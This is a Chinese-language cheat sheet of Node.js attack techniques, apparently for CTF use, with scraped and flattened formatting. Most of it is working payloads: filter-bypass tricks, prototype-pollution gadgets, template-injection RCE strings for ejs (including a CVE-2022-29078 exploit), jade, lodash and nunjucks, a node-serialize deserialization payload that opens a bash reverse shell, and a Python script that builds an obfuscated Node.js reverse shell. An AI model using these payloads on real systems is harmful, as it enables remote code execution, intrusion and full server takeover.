req.body => POST/PUT请求
req.params => 类似 /api/getUserListById/:id
路由,如 http://localhost:3000/giraffe/1
req.query => GET请求,如 http://localhost:3000/animals?page=10
绕过 toUpperCase() / toLowerCase() 特殊字符
'ı'.toUpperCase()='I'
,'ſ'.toUpperCase()='S'
,'K'.toLowerCase()='k'
parseInt() parseInt()
接收字符串参数并转为整形数据类型,但如果目标是 Node 中的 big int
,转换时会造成精度损失,但能绕过正常的大小比较。
命令执行 (RCE) 1 2 Object .values (require ('child_process' ))[5 ]('cat${IFS}/G*>p' )require ('child_process' ).spawnSync ('nl' ,['p' ]).stdout .toString ()
绕过 关键词 obj.constructor
:obj["constr"+"uctor"]
,obj["constru".concat("ctor")]
,String.fromCharCode(xxx)
this
:eval("th"+"is")
__proto__
:constructor.prototype
原型链污染 原理 对于语句 object[a][b] = value
如果可以控制a, b, value的值,将a设置为 __proto__
, 就可以给object对象的原型设置一个b属性,值为value,这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
常用污染函数 merge()
1 2 3 4 5 6 7 8 9 function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } }
clone()
1 2 3 function clone (obj ) { return merge ({}, obj); }
copy()
1 2 3 4 5 6 7 8 9 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
常见模板引擎 ejs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "__proto__" : { "__proto__" : { "outputFunctionName" : "a=1; return global.process.mainModule.constructor._load('child_process').execSync('id'); //" } } } { "__proto__" : { "__proto__" : { "outputFunctionName" : "__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('id'); __tmp2" } } } { "__proto__" : { "__proto__" : { "client" : true , "escapeFunction" : "1; return global.process.mainModule.constructor._load('child_process').execSync('id');" , "compileDebug" : true } } } { "__proto__" : { "__proto__" : { "client" : true , "escapeFunction" : "1; return global.process.mainModule.constructor._load('child_process').execSync('id');" , "compileDebug" : true , "debug" : true } } } SSTI <%- global.process.mainModule.require('child_process').execSync('id') %> CVE-2022 -29078 (ejs <= v3.1 .9 ) 参考:https: EXP: ?settings[ view%20 options] [ escapeFunction] =console.log;this.global.process.mainModule.require(%27 child_process%27 ).execSync("touch /tmp/3.txt" );&settings[ view%20 options] [ client] =true POC: { "settings" : { "view options" : { "escapeFunction" : "console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"touch /tmp/pwned\");" , "client" : "true" } } }
jade 1 {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
lodash 1 {"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}}
nunjucks 1 2 3 4 5 6 7 8 9 10 11 {{range.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('ls /').toString()")()}} {{'string'.toString.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}} {{'string'.constructor.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}} 绕过: (使用unicode编码和`+`字符串拼接绕过关键字的过滤,用 `[]` 来绕过 `.`) {{"string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"id\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}
putil_merge CVE-2021-23470
反序列化 模块:node-serialize
CVE-2017-5941 1 {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/4444 0>&1\"',function(error,stdout, stderr) { console.log(stdout) });\n }()"}
构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import sysif len (sys.argv) != 3 : print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0 ]) sys.exit(0 ) IP_ADDR = sys.argv[1 ] PORT = sys.argv[2 ] def charencode (string ): """String.CharCode""" encoded = '' for char in string: encoded = encoded + "," + str (ord (char)) return encoded[1 :] print "[+] LHOST = %s" % (IP_ADDR)print "[+] LPORT = %s" % (PORT)NODEJS_REV_SHELL = ''' var net = require('net'); var spawn = require('child_process').spawn; HOST="%s"; PORT="%s"; TIMEOUT="5000"; if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { var sh = spawn('/bin/sh',[]); client.write("Connected!\\n"); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); sh.on('exit',function(code,signal){ client.end("Disconnected!\\n"); }); }); client.on('error', function(e) { setTimeout(c(HOST,PORT), TIMEOUT); }); } c(HOST,PORT); ''' % (IP_ADDR, PORT)print "[+] Encoding" PAYLOAD = charencode(NODEJS_REV_SHELL) print "eval(String.fromCharCode(%s))" % (PAYLOAD)